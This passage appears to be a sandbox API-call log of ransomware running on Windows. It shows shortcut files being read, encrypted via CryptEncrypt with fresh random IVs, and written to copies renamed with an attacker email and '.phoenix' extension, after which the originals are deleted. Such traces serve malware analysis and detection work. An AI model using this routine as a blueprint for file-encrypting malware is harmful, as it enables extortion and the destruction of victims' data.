	[0266.733] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0266.733] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0266.733] CloseHandle (hObject=0x2e8) returned 1
	[0266.733] CloseHandle (hObject=0x2b0) returned 1
	[0266.751] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk")) returned 1
	[0266.778] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0266.778] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.781] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1108) returned 1
	[0266.781] CloseHandle (hObject=0x254) returned 1
	[0266.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk")) returned 0x20
	[0266.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.782] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.782] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0266.801] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.801] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x454, lpOverlapped=0x0) returned 1
	[0266.832] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460, dwBufLen=0x460 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460) returned 1
	[0266.832] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x460, lpOverlapped=0x0) returned 1
	[0266.833] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0266.833] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.833] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0266.833] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.833] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0266.833] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.833] CloseHandle (hObject=0x254) returned 1
	[0266.833] CloseHandle (hObject=0x2e8) returned 1
	[0266.839] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk")) returned 1
	[0266.844] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0266.844] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.845] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1122) returned 1
	[0266.845] CloseHandle (hObject=0x240) returned 1
	[0266.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk")) returned 0x20
	[0266.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.894] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.894] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.895] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.895] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.902] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0266.902] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.902] ReadFile (in: hFile=0x240, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x462, lpOverlapped=0x0) returned 1
	[0266.927] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x470, dwBufLen=0x470 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x470) returned 1
	[0266.927] WriteFile (in: hFile=0x304, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x470, lpOverlapped=0x0) returned 1
	[0266.928] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0266.928] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.928] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0266.928] CryptDestroyKey (hKey=0x151500) returned 1
	[0266.928] WriteFile (in: hFile=0x304, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0266.928] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.928] CloseHandle (hObject=0x240) returned 1
	[0266.928] CloseHandle (hObject=0x304) returned 1
	[0266.929] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk")) returned 1
	[0266.929] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0266.929] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.976] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1116) returned 1
	[0266.976] CloseHandle (hObject=0x244) returned 1
	[0266.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk")) returned 0x20
	[0267.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.091] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.091] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.092] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0267.092] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.092] ReadFile (in: hFile=0x240, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x45c, lpOverlapped=0x0) returned 1
	[0267.161] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460, dwBufLen=0x460 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460) returned 1
	[0267.161] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x460, lpOverlapped=0x0) returned 1
	[0267.162] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0267.162] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.162] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0267.162] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.162] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0267.162] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0267.162] CloseHandle (hObject=0x240) returned 1
	[0267.162] CloseHandle (hObject=0x2c0) returned 1
	[0267.162] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk")) returned 1
	[0267.162] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.162] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.163] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2419) returned 1
	[0267.164] CloseHandle (hObject=0x2c0) returned 1
	[0267.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk")) returned 0x20
	[0267.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.164] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.164] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.164] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.164] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.165] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0267.165] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.165] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x973, lpOverlapped=0x0) returned 1
	[0267.230] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x980, dwBufLen=0x980 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x980) returned 1
	[0267.231] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x980, lpOverlapped=0x0) returned 1
	[0267.231] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0267.231] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.231] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0267.231] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.231] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0267.232] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0267.232] CloseHandle (hObject=0x2c0) returned 1
	[0267.232] CloseHandle (hObject=0x240) returned 1
	[0267.232] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk")) returned 1
	[0267.233] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.233] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.233] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2342) returned 1
	[0267.233] CloseHandle (hObject=0x240) returned 1
	[0267.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk")) returned 0x20
	[0267.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.233] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.234] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.234] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.234] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.234] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0267.234] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.234] ReadFile (in: hFile=0x240, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x926, lpOverlapped=0x0) returned 1
	[0267.329] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x930, dwBufLen=0x930 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x930) returned 1
	[0267.329] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x930, lpOverlapped=0x0) returned 1
	[0267.330] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0267.330] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.330] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0267.330] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.330] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0267.330] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.330] CloseHandle (hObject=0x240) returned 1
	[0267.331] CloseHandle (hObject=0x2c0) returned 1
	[0267.331] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk")) returned 1
	[0267.332] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.332] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.333] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2114) returned 1
	[0267.333] CloseHandle (hObject=0x2c0) returned 1
	[0267.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk")) returned 0x20
	[0267.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
